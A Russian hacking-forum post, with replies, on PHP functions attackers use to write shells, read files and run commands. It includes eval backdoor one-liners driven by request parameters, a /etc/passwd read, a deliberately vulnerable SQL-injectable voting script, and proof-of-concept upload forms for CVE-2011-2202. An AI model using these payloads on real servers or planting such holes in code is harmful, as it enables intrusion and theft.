В настоящее время PHP — самый популярный язык для создания веб-приложений и сайтов в том числе. Конечно, существует много сайтов написанных на Perl, pythoon; крупных сайтов использующих JSP, C++ и т. д. Основные уязвимости, взломы направлены именно на PHP-интерператор и на интерпретируемые скрипты в частности. Большинство найденных уязвимостей направленно на интерпретирование скрипта средой <= php 5.2.12. В настоящее время идёт постепенный переход на современные версии 5.3 и 5.4, ведётся разработка php 6. В новых версиях появляются различные экспериментальные функции, операторы, классы; часть которых заточена под конкретную OS. Часть этого существовала и ранее и в настоящий момент я считаю целесообразно собрать в эту тему различные новшества и повседневные функции. Я решил начать с самого основного, а позже буду дополнять по возможности.
Константы, объявленные в ядре. Плюс данных констант в том, что не следует использовать кавычки при их использовании. Пример от Expl0ited: PHP: <?php /*Обычно в рег. Выражениях, в которых используется a-z, разрешается использование '_' и '-'*/ $code = preg_replace('/[^a-z\-\_\$\{\(\)\}\[\]]/i', '', $_GET['code']); //Модифицированно $code = '$a="'.$code.'-class.func";print($a);'; eval($code); //?> Если предположить запрет использования end и т. п. функций, можно выдвинуть данный вариант: PHP: <?php {${eval($_GET[NOSTR])}} Хотя в случае с '_' подойдёт ещё множество констант(И реализаций без них), но это можно применить и в других случаях... Пример от k1b0rg: PHP: //php 5.4 {${eval(getallheaders()[CODESET])}} Неполный список данных констант можно найти здесь: http://php.su/learnphp/?const_st Список объявленных констант можно получить вызвав get_defined_constants(). get_required_files(), get_included_files() - возвращает массив из имён файлов, подключаемых к файлу, из которого вызываеться функция. Бывает удобнее вызвать данную функцию в конце скрипта, чем рыться в многочисленных классах и функциях ища подключаемый файл конфига. Функции На различных серверах часто запрещаться использование многих полезных функций. Но в настоящее время функций так много, что уследить за всем просто невозможно. В этом разделе я постараюсь выделить множество полезных функций. Windows функции не будут рассматриваться, так как я не имею возможности их полной проверки в среде *nix. В начале привожу список обычных функций, а уже далее полезные недокументированные функции. Список объявленных функций — get_defined_functions(). 0.PECL. Если в данной сборке присутствуют расширения из PECL, то они могут вам помочь. Расписывать их не имеет смысла. Напоминаю, если вывод phpinfo запрещён, то вы можете воспользоваться програмной версией phpinfo - . 1. Сразу же хотелось бы обратить ваше внимание на тему RulleR'a - ' PHP функции использующие Callback function' - https:///thread215329.html. Перечислять данные функции не имеет смысла, как и о них забывать. Не забываем, что возможно использование классов, если нужный параметр передать в виде массива. Это может хорошо помочь в некоторых ситуациях. 2. Работа с файлами - запись шеллов, чтение файлов. fopen - Открыть файл Функции изменения ресурсов, работают не только с файлами. Для каждой заблокированной функции можно найти замену среди других fputs, fwrite - Бинарно-безопасная запись в файл fgetc - Считывает символ из файла fgetcsv - Читает строку из файла и производит разбор данных CSV fgets - Читает строку из файла fgetss - Прочитать строку из файла и отбросить HTML-теги fpassthru - Выводит все оставшиеся данные из файлового указателя fputcsv - Форматирует строку в виде CSV и записывает её в файловый указатель fscanf - Обрабатывает данные из файла в соответствии с форматом fseek - Устанавливает смещение в файловом указателе ftruncate - Урезает файл до указанной длинны readlink - Возвращает файл, на который указывает символическая ссылка tempnam - Создаёт файл с уникальным именем tmpfile - Создаёт временный файл parse_ini_file - Чтение и парсинг ini файлы copy, move_uploaded_file, file_get_contents, file_put_contents, file, readfile - Без коментариев Bzip2 - http://www.php.net/manual/ru/book.bzip2.php Zlib - http://www.php.net/manual/ru/book.zlib.php highlight_file, show_source - выделение синтаксиса файла, возможно использование URL(allow_url_include). readgzfile - выводит gz-файл. Функция так же может читать обычные файлы, и использоваться как readfile. PHP: <?php readgzfile('/etc/passwd'); ?> 3. Работа с сетью - закачка шеллов, отдача файлов fopen, file_get_contents, file - Без комментариев. Функции работы с базами данных - при некоторых обстоятельствах будет удобно подключиться к удалённой базе данных и передать необходимую информацию в обе стороны. Думаю код данного раздела будет понятен всем, расписывать его не имеет смысла так как примеры находятся во многих источниках. fsockopen, pfsockopen, stream_socket_client — получение данных. dns_get_record - получение DNS записей(UDP). Расширение sockets - socket_create и т. п. функции Cyrus IMAP - http://www.php.net/manual/ru/book.cyrus.php - Работа с IMAP сервером. get_meta_tags — Чтение мета-тегов HTML файла, путь к которому передан в первом аргументе, и return в виде ассоциативно массива. cURL: PHP: function curl_open($url) { $site = curl_init(); curl_setopt($site, CURLOPT_URL, $url); curl_setopt($site, CURLOPT_USERAGENT, 'Opera 11.2'); curl_setopt($site, CURLOPT_HEADER, false); curl_setopt($site, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($site, CURLOPT_ENCODING, 'gzip, deflate'); curl_setopt($site, CURLOPT_RETURNTRANSFER, true); $out = curl_exec($site); curl_close($site); return $out; } Расширение FTP - http://www.php.net/manual/ru/book.ftp.php 4. Выполнение system. 5-ый аргумент функции mail. До некоторых версий php возможно выполнение произвольных команд system, exec, passthru, shell_exec(``) - Без комментариев. proc_open и т.п. - Выполняет команду и открывает файловый указатель для ввода/вывода. popen и т. п. - Открывает файловый указатель процесса dl - загружает РНР-расширение на этапе прогона(enable_dl). Классы, объекты Список объявленных классов — get_declared_classes(). Ini:disable_classes — Список запрещённых классов. 0. DOMDocument, XMLReader, XMLWriter, SimpleXMLElement - Работа с XML, HTML. Возможность чтения и записи файлов данного формата. PHP: <?php //Пример DOMDocument. $doc = new DOMDocument(); $doc->loadHTMLFile('./test'); //Чтение HTML файла echo $doc->saveHTML();//Вывод $doc->saveHTMLFile('test.html');//Запись HTML файла unset($doc); $doc = new DOMDocument(); $doc->loadXMLFile('./testx'); //Чтение XML файла echo $doc->saveXML();//Вывод $doc->saveXMLFile('testx.html');//Запись XML файла //?> 1. ZipArchive - Аналогично, работа с архивами, запаковка файлов, извлечение. Code: ZipArchive { /* Methods */ bool addEmptyDir ( string $dirname ) bool addFile ( string $filename [, string $localname = NULL [, int $start = 0 [, int $length = 0 ]]] ) bool addFromString ( string $localname , string $contents ) bool close ( void ) bool deleteIndex ( int $index ) bool deleteName ( string $name ) bool extractTo ( string $destination [, mixed $entries ] ) string getArchiveComment ([ int $flags ] ) string getCommentIndex ( int $index [, int $flags ] ) string getCommentName ( string $name [, int $flags ] ) mixed getFromIndex ( int $index [, int $length = 0 [, int $flags ]] ) mixed getFromName ( string $name [, int $length = 0 [, int $flags ]] ) string getNameIndex ( int $index [, int $flags ] ) string getStatusString ( void ) resource getStream ( string $name ) mixed locateName ( string $name [, int $flags ] ) mixed open ( string $filename [, int $flags ] ) bool renameIndex ( int $index , string $newname ) bool renameName ( string $name , string $newname ) mixed setArchiveComment ( string $comment ) mixed setCommentIndex ( int $index , string $comment ) mixed setCommentName ( string $name , string $comment ) mixed statIndex ( int $index [, int $flags ] )gzdeflate mixed statName ( name $name [, int $flags ] ) mixed unchangeAll ( void ) mixed unchangeArchive ( void ) mixed unchangeIndex ( int $index ) mixed unchangeName ( string $name ) } 2. SOAP SOAP (от англ. Simple Object Access Protocol — простой протокол доступа к объектам) — протокол обмена структурированными сообщениями в распределённой вычислительной среде. Первоначально SOAP предназначался в основном для реализации удалённого вызова процедур (RPC). Сейчас протокол используется для обмена произвольными сообщениями в формате XML, а не только для вызова процедур. Официальная спецификация последней версии 1.2 протокола никак не расшифровывает название SOAP. SOAP является расширением протокола XML-RPC. SOAP может использоваться с любым протоколом прикладного уровня: SMTP, FTP, HTTP, HTTPS и др. Однако его взаимодействие с каждым из этих протоколов имеет свои особенности, которые должны быть определены отдельно. Чаще всего SOAP используется поверх HTTP. http://ru.wikipedia.org/wiki/SOAP http://php.su/articles/?cat=pear&page=004&adminmode=true WSDL (англ. Web Services Description Language) — язык описания веб-сервисов и доступа к ним, основанный на языке XML. http://ru.wikipedia.org/wiki/WSDL Текущая PHP реализация не имеет зависимости allow_url_(*). Стандартная работа с SOAP разделена на два блока - клиентскую и серверную. Многие думают что по стандартной схеме клиент - взламываемый ресурс, возможная дописка в CMS, но не всегда это так. Серверную часть тоже можно разместить на сайте, в различных кодах CMS и не занимающийся длительное время в этой области человек просто не разберёт, что делает данный код. Данный протокол и методы его реализации пригодные для нас, и для нестандартных действий можно ещё расписывать страниц на 30, и то не рассказав много. Это сильно выходит за рамки этого текста, тем более что ниже как раз будет основное содержание статьи. Стандартная библиотека PHP (англ. Standard PHP Library, SPL) — коллекция классов и интерфейсов для решения стандартных проблем в PHP. Библиотека была введена в PHP 5 и доступна по умолчанию, начиная с PHP 5. Основное содержание библиотеки — классы-итераторы, решающие задачи итерации по каталогу, массиву, дереву XML. SPL добавляет в PHP новые возможности ООП для работы с : итераторами; новые виды исключений; перегрузка (overloading) массивов, расширенное управление XML, файлами и данными паттерн Наблюдатель, интерфейс Исчисления (counting) автоматическая загрузка классов и интерфейсов ... PHP поддерживает SPL начиная с версии 5.2.1. http://www.php.net/manual/ru/book.spl.php И т. д. ArrayObject - Использование объектов в качестве массивов и работа с ними. [СODE] ArrayObject implements IteratorAggregate , Traversable , ArrayAccess , Serializable , Countable { /* Константы */ const integer STD_PROP_LIST = 1 ; const integer ARRAY_AS_PROPS = 2 ; /* Методы */ __construct ([ mixed $input [, int $flags [, string $iterator_class ]]] ) .. void uasort ( callback $cmp_function ) void uksort ( callback $cmp_function ) public void unserialize ( string $serialized ) } [/СODE] Предпоследние методы принимают Callback function, что так же делает их доступными для выполнения кода. Пример: PHP: <?php $tst = new ArrayObject(/*(object)*/array('phpinfo()' => 1, 'assert' => 1)); $tst -> uksort('call_user_func'); ?> В SPL достаточно классов, многие из них(Кто ещё не сделал) лучше изучить и использовать. Вообще, перед тем как писать всё это я планировал выделить только примеры скриптов, уязвимостей, работы функций не по предусмотрению разработчика. Ну раз я уж это написал, то это всё же имеет место для публики и последующего дополнения.
Пример с is_numericКак то недавно объяснял одному хорошему амину смысл заключения уязвимости. Он не поверил, пока он не попросил залить шелл. В теме приведён упрощённый пример. PHP: <?php include ('/conf/mysql.php'); if (isset($_GET['id']) && is_numeric($_GET['id'])) {//Проверяем $id = $_GET['id']; switch ($_GET['vote']) { case (-3): case (-2): case (-1): case (1): case (2): case (3): case (4): break; default: die() or exit; break; }; $sql = "INSERT INTO `vote` (tvote, opros) VALUES (".mysql_real_escape_string($_GET['vote']).", $id)"; mysql_query($sql) or die(); $sql = "SELECT opros FROM `vote` GROUP BY `opros`"; $res = mysql_query($sql) or die(); echo "Статистика: <br><xmp>"; while ($v = mysql_fetch_row($res)) { $opros = rest($v); $sql = "SELECT count(*) FROM `vote` WHERE opros = $opros"; $op = rest(mysql_fetch_array(mysql_query($sql))); echo "На опрос $opros было зачисленно $op голосов\n"; } } else 'ERROR!!!'; include ('/conf/end.php'); ?> Самый типичный пример. Рассмотрим проверку - isset, is_numeric - первое опасности не имеет, второе, как некоторые думают защищает данный скрипт. Но вот что делает функция is_numeric - определяет, является ли переменная числом или числовой строкой. Ну и соответственно она пропускает строку 0x.... Далее поле, в которое MySQL записало знаение, извлечённое из HEX дальше используеться в запросе SELECT opros FROM `vote` GROUP BY `opros`, данные из которого используются далее - SELECT count(*) FROM `vote` WHERE opros = $opros, где $opros - это значение извлечённое из HEX где мы и сможем реализовать SQL-inj. Php Multipleupload Overwrite - Перевод PHP - Загрузка файлов: PHP: <form action="upload/index.php" method="POST" enctype="multipart/form-data" > <input type="Hidden" name="MAX_FILE_SIZE" value="10000000"> <input type="file" name="file"> <input type="submit" value="submit"> </form> $ FILES var_dump: PHP: array(1) { ["file"]=> array(5) { ["name"]=> string(8) "file.txt" ["type"]=> string(10) "text/plain" ["tmp_name"]=> string(14) "/tmp/phpESrNkj" ["error"]=> int(0) ["size"]=> int(6) } } 1. Мульти загрузка файлов: PHP: <form method="POST" enctype="multipart/form-data" > <input type="hidden" name="MAX_FILE_SIZE" value="10000000"> <input type="file" name="file[]"> <input type="file" name="file[]"> <input type="submit" value="submit"> </form> $ FILES print_r: PHP: Array ( [file] => Array ( [name] => Array ( [0] => file.txt [1] => file2.txt ) [type] => Array ( [0] => text/plain [1] => text/plain ) [tmp_name] => Array ( [0] => /tmp/phpcrDN2U [1] => /tmp/phpdQqsUR ) [error] => Array ( [0] => 0 [1] => 0 ) [size] => Array ( [0] => 6 [1] => 10 ) ) ) После изучения исходных кодов движков оказалось, что разработчики используют примерно такой код: PHP: <?php foreach ($_FILES["file"]["tmp_name"] as $key => $name) { if ($_FILES["file"]["size"][$key]>0 && $_FILES["file"]["size"][$key]<1024) move_uploaded_file($_FILES["file"]["tmp_name"][$key], mt_rand().'.txt'); } ?> 2. Исходя из различных тестов и изучений исходных кодов PHP я понял то, что мы можем подменивать информацию в этом массиве и получать доступ с использованием безопасных скриптов. php-5.3.5\main\rfc1867.c: PHP: is_arr_upload = (start_arr = strchr(param,’[’)) && (param[strlen(param)-1] == ’]’); if (is_arr_upload) { array_len = strlen(start_arr); if (array_index) { efree(array_index); } array_index = estrndup(start_arr + 1, array_len - 2); } (...) abuf = estrndup(param, strlen(param)-array_len); ... [/PHP] if (is_arr_upload) { snprintf(lbuf, llen, "%s[type][%s]", abuf, array_index); } else { snprintf(lbuf, llen, "%s[type]", param); } register_http_post_files_variable(lbuf, cd, http_post_files, 0 TSRMLS_CC); [/PHP] Исходя из данного кода, когда мы отправляем эту форму: PHP: <form method="POST" enctype="multipart/form-data" > <input type="Hidden" name="MAX_FILE_SIZE" value="10000000"> <input type="file" name="file[[size]"> <input type="file" name="file[size]["> <input type="submit" value="submit"> </form> Мы получаем: PHP: Array ( [file] => Array ( [name] => Array ( [[size] => file.txt ) [type] => Array ( [[size] => text/plain ) [tmp_name] => Array ( [[size] => /tmp/php537jRI ) [error] => Array ( [[size] => 0 ) [size] => Array ( [[size] => 10 [[name] => file2.txt [[type] => text/plain [[tmp_name] => /tmp/phpxktZ4e [[error] => 0 ) ) ) Таким образом мы загружаем file.txt, но с размером file2.txt! Таким образом мы можем подменить значение нужных нам переменных и совершить ействия с произвольными файлами. Но это только без проверки загрузки файла и использования move_uploaded_file. PHP: <?php foreach ($_FILES["file"]["tmp_name"] as $key => $name) { if ($_FILES["file"]["size"][$key]>0 && $_FILES["file"]["size"][$key]<1024) copy($_FILES["file"]["tmp_name"][$key], rand().'.txt'); } Таким образом при отправке формы: PHP: <form method="POST" enctype="multipart/form-data" > <input type="Hidden" name="MAX_FILE_SIZE" value="10000000"> <input type="file" name="file[tmp_name]["> <input type="file" name="file[size]["> <input type="file" name="file[name]["> <input type="submit" value="submit"> </form> Массив примет значение: PHP: Array ( [file] => Array ( [tmp_name] => Array ( [[name] => file.txt [[type] => text/plain [[tmp_name] => /tmp/phpOQsK9O [[error] => 0 [[size] => 6 ) [size] => Array ( [[name] => file2.txt [[type] => text/plain [[tmp_name] => /tmp/phpHCcJwD [[error] => 0 [[size] => 10 ) [name] => Array ( [[name] => file3.txt [[type] => text/plain [[tmp_name] => /tmp/phpWzwITr [[error] => 0 [[size] => 9 ) ) ) Взглянем на первый файл: PHP: $_FILES['name']['[name']='file.txt'; $_FILES['size']['[name']=123; $_FILES['tmp_name']['[name']='index.php'; Таким образом мы меняем tmp_name на нужную нам информацию. Для того, что бы исправить данную уязвимость PHP должен отсеивать файлы, заканчивающиеся на [ и т. д. Эту уязвимость следует ещё доработать для последующего использования. Это будет произведено за рамками этой части. Исходный текст: https://students.mimuw.edu.pl/~ai292615/php_multipleupload_overwrite.pdf Данная уязвимость исправлена в PHP 5.3.7: Возможность подстановки части файлового пути из-за некорректного очищения в функции rfc1867_post_handler имен файлов, передаваемых через multipart/form-data POST-запросы. Атакующий может изменить заданный логикой приложения абсолютный путь и создать или переписать произвольные файлы (CVE-2011-2202); Ещё одна уязвимость того автора — HEAD. - https://students.mimuw.edu.pl/~ai292615/php_head_trick.pdf Так как в этой части статьи мы рассматриваем не только авторские материалы, но и материалы других пользователей нам не помешает познакомиться(Для тех кто ещё не познакомился) с неравно-опубликованными паблик уязвимостей. Перевод темы: https://rdot.org/forum/showthread.php?t=1330
уж лучше так PHP: $sql = "SELECT count(*) FROM `vote` WHERE opros = ? limit 1"; // mysqli $sql = "SELECT count(*) FROM `vote` WHERE opros = :opros limit 1"; //pdo забудьте про mysql_query p.s. файлы можно читать через курл $ch = curl_init('file://example.txt');
Ну а если так - инъекции не будет. В таких целях пишу коды с видом неопытности кодера, писавшего код - для уязвимых кодов это нормально. А если писать профессиональный код - там уязвимсть либо будет выделяться, либо её невозможно будет серьёзно организовать(В небольшом файле) В cURL и libcURL найдена уязвимость связанная с особенностью обработки редиректов через заголовок "Location:" и позволяет при обращении к внешнему ресурсу перенаправить запрос на URL начинающийся с "file://" или "scp://", инициировав открытие заданного локального файла. Для успешного проведения атаки в конфигурации должен быть активен режим автоматического следования редиректам. Проблема устранена в релизе 7.19.4.
я про тоже, старые байки на новый лад а если еще учесть, что mysqli будет в новых версия по деволту и использовать mysql_query уже не получится
Кстати да. Судя по обещаниям разработчиков PHP, начиная с версии 5.5 библиотека mysql становится deprecated, а с версии 6.0 данная библиотека будет отсутствовать, и останется только mysqli и PDO. подробнее